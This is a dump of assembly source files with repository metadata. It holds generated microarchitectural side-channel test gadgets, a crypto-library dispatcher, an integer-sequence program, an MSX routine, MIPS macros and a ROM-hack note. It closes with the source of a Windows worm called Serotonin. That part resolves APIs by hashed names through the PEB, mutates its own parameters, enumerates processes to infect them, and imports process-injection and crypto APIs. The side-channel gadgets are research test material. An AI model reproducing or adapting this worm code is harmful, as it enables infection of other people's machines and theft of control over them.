.global s_prepare_buffers s_prepare_buffers: push %r15 push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x140f, %rsi lea addresses_WT_ht+0x1d3cf, %rdi nop nop nop add $44411, %r15 mov $112, %rcx rep movsq nop nop dec %rbp pop %rsi pop %rdi pop %rcx pop %rbp pop %r15 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %rbp push %rcx push %rdi push %rdx // Store lea addresses_UC+0xf691, %rbp nop nop nop nop and %r12, %r12 movw $0x5152, (%rbp) nop and $12218, %rdi // Store lea addresses_PSE+0x5f8f, %rcx sub %r11, %r11 movw $0x5152, (%rcx) nop nop add %rdx, %rdx // Load lea addresses_WT+0xafcf, %rbp inc %r10 movups (%rbp), %xmm4 vpextrq $0, %xmm4, %r11 nop nop sub %r10, %r10 // Load lea addresses_WT+0x6ef, %rdx nop nop sub $61924, %r11 movups (%rdx), %xmm5 vpextrq $0, %xmm5, %rcx sub $14555, %rbp // Load lea addresses_WC+0x9fcf, %r12 nop nop nop nop nop and %rbp, %rbp mov (%r12), %rcx nop dec %r12 // Faulty Load lea addresses_WT+0xafcf, %rdi xor %r10, %r10 mov (%rdi), %rdx lea oracles, %rdi and $0xff, %rdx shlq $12, %rdx mov (%rdi,%rdx,1), %rdx pop %rdx pop %rdi pop %rcx pop %rbp pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': True, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT', 'same': True, 'AVXalign': False, 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 9}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WT', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 6}, 'dst': {'same': True, 'type': 'addresses_WT_ht', 'congruent': 10}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
44.5
2,999
0.653399
c287b9b31bfa2cc8efa2450253deea248afa17f9
5,798
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i7-7700_9_0x48.log_21829_288.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i7-7700_9_0x48.log_21829_288.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i7-7700_9_0x48.log_21829_288.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r8 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x12596, %rcx nop nop nop nop nop sub %r10, %r10 mov $0x6162636465666768, %r12 movq %r12, (%rcx) nop nop nop nop nop xor %rdx, %rdx lea addresses_WC_ht+0x4f16, %r10 nop nop xor $30970, %r9 mov $0x6162636465666768, %r11 movq %r11, %xmm6 vmovups %ymm6, (%r10) nop nop and $16640, %r12 lea addresses_A_ht+0x13516, %rdx nop nop nop and %r8, %r8 movups (%rdx), %xmm2 vpextrq $1, %xmm2, %r9 nop nop nop add $30594, %rdx lea addresses_normal_ht+0x1e696, %rsi lea addresses_D_ht+0x2c76, %rdi clflush (%rdi) nop nop dec %r12 mov $41, %rcx rep movsb nop nop and $31258, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r8 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r15 push %r8 push %rbp push %rcx push %rdx // Store lea addresses_WT+0x5c6, %rcx nop nop nop nop sub %r8, %r8 mov $0x5152535455565758, %r15 movq %r15, %xmm0 vmovups %ymm0, (%rcx) nop nop nop cmp %rbp, %rbp // Store mov $0x3889ff0000000516, %r13 nop nop nop and %rbp, %rbp mov $0x5152535455565758, %r12 movq %r12, %xmm6 movups %xmm6, (%r13) nop inc %r15 // Store mov $0x3889ff0000000516, %rbp nop nop nop nop nop cmp %rdx, %rdx movl $0x51525354, (%rbp) nop nop sub %r8, %r8 // Faulty Load mov $0x3889ff0000000516, %rcx nop nop nop add %rbp, %rbp mov (%rcx), %r13d lea oracles, %r15 and $0xff, %r13 shlq $12, %r13 mov (%r15,%r13,1), %r13 pop %rdx pop %rcx pop %rbp pop %r8 pop %r15 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': True, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 7, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}} {'54': 21828, '00': 1} 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 */
36.929936
2,999
0.657986
4893243c005444c0d376f8e4295c81e69d4a7722
941
asm
Assembly
_build/dispatcher/jmp_ippsGFpSqrt_8e4dcbca.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
1
2021-10-04T10:21:54.000Z
2021-10-04T10:21:54.000Z
_build/dispatcher/jmp_ippsGFpSqrt_8e4dcbca.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
_build/dispatcher/jmp_ippsGFpSqrt_8e4dcbca.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
extern m7_ippsGFpSqrt:function extern n8_ippsGFpSqrt:function extern y8_ippsGFpSqrt:function extern e9_ippsGFpSqrt:function extern l9_ippsGFpSqrt:function extern n0_ippsGFpSqrt:function extern k0_ippsGFpSqrt:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsGFpSqrt .Larraddr_ippsGFpSqrt: dq m7_ippsGFpSqrt dq n8_ippsGFpSqrt dq y8_ippsGFpSqrt dq e9_ippsGFpSqrt dq l9_ippsGFpSqrt dq n0_ippsGFpSqrt dq k0_ippsGFpSqrt segment .text global ippsGFpSqrt:function (ippsGFpSqrt.LEndippsGFpSqrt - ippsGFpSqrt) .Lin_ippsGFpSqrt: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsGFpSqrt: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsGFpSqrt] mov r11, qword [r11+rax*8] jmp r11 .LEndippsGFpSqrt:
24.128205
71
0.766206
d9f5ae10330ed28a47de9506050243ef2f8b4b6f
394
asm
Assembly
programs/oeis/005/A005666.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/005/A005666.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/005/A005666.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A005666: Tower of Hanoi with 3 pegs and cyclic moves only (counterclockwise). ; 0,2,7,21,59,163,447,1223,3343,9135,24959,68191,186303,508991,1390591,3799167,10379519,28357375,77473791,211662335,578272255,1579869183,4316282879,11792304127,32217174015,88018956287,240472260607,656982433791,1794909388799 add $0,2 seq $0,2605 ; a(n) = 2*(a(n-1) + a(n-2)), a(0) = 0, a(1) = 1. sub $0,2 div $0,2
49.25
223
0.743655
5e3c432c3bed3d5e15527e250b090daa5f070f8e
278
asm
Assembly
libsrc/msx/msx_blank.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/msx/msx_blank.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/msx/msx_blank.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; ; MSX specific routines ; by Stefano Bodrato, 30/11/2007 ; ; void msx_blank(); ; ; Disable screen ; ; $Id: msx_blank.asm,v 1.4 2015/01/19 01:32:57 pauloscustodio Exp $ ; PUBLIC msx_blank EXTERN msxbios INCLUDE "msxbios.def" msx_blank: ld ix,DISSCR jp msxbios
13.238095
67
0.683453
9cc5e60ac7a6e9ac7c99746c058ace3a8db8b73d
1,789
asm
Assembly
macros.asm
kosmospredanie/mips-asm-examples
7086a7dc9cf87e6544e56223ba30c870acdda3f5
[ "MIT" ]
null
null
null
macros.asm
kosmospredanie/mips-asm-examples
7086a7dc9cf87e6544e56223ba30c870acdda3f5
[ "MIT" ]
null
null
null
macros.asm
kosmospredanie/mips-asm-examples
7086a7dc9cf87e6544e56223ba30c870acdda3f5
[ "MIT" ]
null
null
null
# macros.asm # # Terminates the program. # # @param $val Exit status .macro exit (%val) li $a0, %val li $v0, 17 # Code for syscall: exit2 syscall .end_macro # Prints the given integer. # # @param %val May be either an immediate value or register name .macro print_int (%val) add $a0, $zero, %val li $v0, 1 # Code for syscall: print integer syscall .end_macro # Prints the given character. # # @param %val A character literal .macro print_char (%val) li $a0, %val li $v0, 11 # Code for syscall: print character syscall .end_macro # Prints the string of the given address. # # @param %pstr A pointer to a string .macro print_stra (%pstr) la $a0, %pstr li $v0, 4 # Code for syscall: print string syscall .end_macro # Prints the given string. # # @param %str A string literal .macro print_str (%str) .data printstr_label: .asciiz %str .text print_stra(printstr_label) .end_macro # Reads an integer. # # @result $v0 The integer read .macro read_int () li $v0, 5 # Code for syscall: read integer syscall .end_macro # Repeats the given macro with values of the %ireg register from %from to %to # # @param %ireg A register to iterate (Counter) # @param %from Start value # @param %to End value # @param %macro The name of the macro to repeat .macro for (%ireg, %from, %to, %macro) add %ireg, $zero, %from forloop_label: %macro() add %ireg, %ireg, 1 ble %ireg, %to, forloop_label .end_macro # Saves the register on the stack. # # @param %reg A register to save .macro backup (%reg) addi $sp, $sp, -4 sw %reg, 0($sp) .end_macro # Restores saved register from the stack, in opposite order. # # @param %reg A register to save .macro restore (%reg) lw %reg, 0($sp) addi $sp, $sp, 4 .end_macro
20.563218
77
0.663499
1405b3735577ec40ef61a9c431d4cf1e638142e9
339
asm
Assembly
ffight/lcs/1p/66.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
ffight/lcs/1p/66.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
ffight/lcs/1p/66.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 007CF0 move.w (-$6e0a,A5), ($66,A6) [1p+59] 007CF6 tst.b ($58,A6) [1p+66] 00849A moveq #$0, D5 0084A2 rts [1p+66, container+66, enemy+66] 00A2C6 dbra D0, $a2c0 00A340 clr.w ($66,A4) 00A344 clr.b ($88,A4) copyright zengfr site:http://github.com/zengfr/romhack
28.25
54
0.654867
e28a62366b411ac757973536c79ae33c607c21e7
48,882
asm
Assembly
Win32/Win32.Serotonin/serotonin.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
Win32/Win32.Serotonin/serotonin.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
Win32/Win32.Serotonin/serotonin.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
.486 .model flat include pe.inc include cor.inc include win32api.inc include useful.inc include mz.inc include consts.inc .data db ? extrn ExitProcess:PROC .code Start: ;Start of worm's body pushad @SEH_SetupFrame <jmp end_seh> ;__try block call _gdelta ;get delta offset gdelta: db 0B8h _gdelta:pop eax xchg eax,ebp ;to EBP mov eax,fs:[30h] ;PEB in EAX test eax,eax js end_seh ;quit if not on WinNT mov eax,[eax+0ch] mov esi,[eax+1ch] ;1st loaded module lodsd mov eax,[eax+8] ;base of kernel32.dll in EAX ;(kisses to Ratter/29A ;-) call get_apiz ;find addresses of APIz ;HeapFree API in kernel32.dll is forwarded to NTDLL.RtlFreeHeap API mov esi,[ebp + _GetModuleHandleA - gdelta] mov edi,[ebp + _GetProcAddress - gdelta] @pushsz 'NTDLL' call esi test eax,eax ;get base address of NTDLL.DLL je end_seh xchg eax,ebx @pushsz 'RtlFreeHeap' push ebx ;find address of RtlFreeHeap API call edi mov [ebp + _HeapFree - gdelta],eax ;save it call psapi_apiz ;find addresses of PSAPI.dll APIz mutexName = $+5 @pushsz '$serotonin@' ;mutex name push 0 push 1 mov eax,12345678h _OpenMutexA = dword ptr $-4 call eax ;open worm mutex test eax,eax jne end_seh ;quit if already installed lea eax,[ebp + filename - gdelta] push MAX_PATH push eax push 0 mov eax,12345678h _GetModuleFileNameA = dword ptr $-4 call eax ;get worm's filename call mutate ;mutate some variables lea esi,[ebp + procz - gdelta] lea eax,[ebp + tmp - gdelta] push eax push 100h push esi mov eax,12345678h _EnumProcesses = dword ptr $-4 call eax ;enumerate all running processes dec eax jne end_seh add esi,4 p_search: lodsd ;get PID test eax,eax je end_ps call analyse_process ;and try to infect it ps_patch: jmp p_search end_ps: push 12345678h _psapi = dword ptr $-4 mov esi,12345678h _FreeLibrary = dword ptr $-4 call esi ;free PSAPI.dll end_seh:@SEH_RemoveFrame ;__except block popad ret ;and quit mutate Proc push 3 call get_rnd ;get random number <0..2> dec edx je next_variable1 dec edx je sub1 call get_rnd6 ;get random number <0..5> add [ebp + mut_mailnum - gdelta],edx;increment variable jmp next_variable2 sub1: call get_rnd6 ;get random number <0..5> sub [ebp + mut_mailnum - gdelta],edx;decrement variable next_variable1: ; ----- " " ----- push 3 call get_rnd dec edx je next_variable2 dec edx je sub2 push 1000 call get_rnd add [ebp + mut_sleep_time - gdelta],edx jmp next_variable2 sub2: push 1000 call get_rnd sub [ebp + mut_sleep_time - gdelta],edx next_variable2: ; ----- " " ----- push 3 call get_rnd dec edx je next_variable3 dec edx je sub3 call get_rnd6 add [ebp + mut_ipsnum - gdelta],edx jmp next_variable3 sub3: call get_rnd6 sub [ebp + mut_ipsnum - gdelta],edx next_variable3: push 3 call get_rnd dec edx je next_variable4 dec edx je sub4 call get_rnd6 add [ebp + mut_clientnum - gdelta],edx jmp next_variable4 sub4: call get_rnd6 sub [ebp + mut_clientnum - gdelta],edx next_variable4: push 3 call get_rnd dec edx je next_variable5 dec edx je sub5 call get_rnd6 add [ebp + mut_time - gdelta],edx jmp next_variable5 sub5: call get_rnd6 sub [ebp + mut_time - gdelta],edx next_variable5: push 2 call get_rnd ;get random number <0..1> dec edx je end_mutate push 2 ; ----- " " ----- call get_rnd mov [ebp + mut_nonstop_traffic - gdelta],edx end_mutate: ;write variable ret ;get random number <0..5> get_rnd6: push 6 call get_rnd ret ;get random number <0..[esp+4]> get_rnd:dw 310Fh ;RDTCS xor edx,edx mov ecx,[esp+4] div ecx ret 4 ;result in EDX mutate EndP ;retrieves all needed API addresses from KERNEL32.dll get_apiz Proc mov esi,eax ;base of K32 mov edx,[esi.MZ_lfanew] add edx,esi mov ebx,[edx.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] add ebx,esi mov ecx,[ebx.ED_NumberOfNames] mov edx,[ebx.ED_AddressOfNames] add edx,esi xor eax,eax c_find: pushad add esi,[edx+eax*4] push esi @endsz mov edi,esi pop esi sub edi,esi call CRC32 ;calculate CRC32 of the API push n_apiz ;number of apiz pop ecx call @callz s_apiz: dd 04134D1ADh ;LoadLibraryA dd 0AFDF191Fh ;FreeLibrary dd 0FFC97C1Fh ;GetProcAddress dd 033D350C4h ;OpenProcess dd 068624A9Dh ;CloseHandle dd 0DA89FC22h ;VirtualAllocEx dd 00E9BBAD5h ;WriteProcessMemory dd 0CF4A7F65h ;CreateRemoteThread dd 0700ED6DFh ;VirtualFreeEx dd 0C6F22166h ;OpenMutexA dd 020B943E7h ;CreateMutexA dd 00AC136BAh ;Sleep dd 079C3D4BBh ;VirtualProtect dd 0058F9201h ;ExitThread dd 02AAD1211h ;VirtualFree dd 004DCF392h ;GetModuleFileNameA dd 0DE256FDEh ;DeleteFileA dd 082B618D4h ;GetModuleHandleA dd 04402890Eh ;VirtualAlloc dd 0E141042Ah ;GetProcessHeap dd 019F33607h ;CreateThread dd 0D4540229h ;WaitForSingleObject dd 0613FD7BAh ;GetTickCount dd 0593AE7CEh ;GetSystemDirectoryA n_apiz = ($-s_apiz)/4 @callz: pop edx c_look: cmp [edx-4+(ecx*4)],eax ;is it our API? je got_call ;yeah loop c_look ;nope, look for another API in our table c_out: popad inc eax dec ecx jecxz c_over jmp c_find c_over: ret got_call: mov edx,[ebx.ED_AddressOfOrdinals] mov esi,[esp.Pushad_esi] add edx,esi mov eax,[esp.Pushad_eax] movzx eax,word ptr [edx+eax*2] mov edx,esi add edx,[ebx.ED_AddressOfFunctions] mov eax,[edx+eax*4] add eax,esi lea edx,[ebp + Start - gdelta] add edx,[ebp + api_addr-4+ecx*4 - gdelta] mov [edx],eax ;save it jmp c_out get_apiz EndP api_addr: ;where to save addresses of APIz... dd offset _LoadLibraryA-Start dd offset _FreeLibrary-Start dd offset _GetProcAddress-Start dd offset _OpenProcess-Start dd offset _CloseHandle-Start dd offset _VirtualAllocEx-Start dd offset _WriteProcessMemory-Start dd offset _CreateRemoteThread-Start dd offset _VirtualFreeEx-Start dd offset _OpenMutexA-Start dd offset _CreateMutexA-Start dd offset _Sleep-Start dd offset _VirtualProtect-Start dd offset _ExitThread-Start dd offset _VirtualFree-Start dd offset _GetModuleFileNameA-Start dd offset _DeleteFileA-Start dd offset _GetModuleHandleA-Start dd offset _VirtualAlloc-Start dd offset _GetProcessHeap-Start dd offset _CreateThread-Start dd offset _WaitForSingleObject-Start dd offset _GetTickCount-Start dd offset _GetSystemDirectoryA-Start ;procedure for calculating CRC32s at run-time CRC32: push ecx push edx push ebx xor ecx,ecx dec ecx mov edx,ecx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi jne NextByteCRC not edx not ecx pop ebx mov eax,edx rol eax,16 mov ax,cx pop edx pop ecx ret ;retrieves all needed API addresses from ADVAPI32.dll crypt32_apiz Proc @pushsz 'ADVAPI32' ;get address of ADVAPI32 .dll call [ebp + _GetModuleHandleA - tgdelta] xchg eax,ebx ;to EBX @pushsz 'CryptAcquireContextA' push ebx mov esi,[ebp + _GetProcAddress - tgdelta] call esi mov [ebp + _CryptAcquireContextA - tgdelta],eax ;save API address @pushsz 'CryptGenKey' push ebx call esi mov [ebp + _CryptGenKey - tgdelta],eax ;--- " " --- @pushsz 'CryptDestroyKey' push ebx call esi mov [ebp + _CryptDestroyKey - tgdelta],eax ;--- " " --- @pushsz 'CryptImportKey' push ebx call esi mov [ebp + _CryptImportKey - tgdelta],eax ;--- " " --- 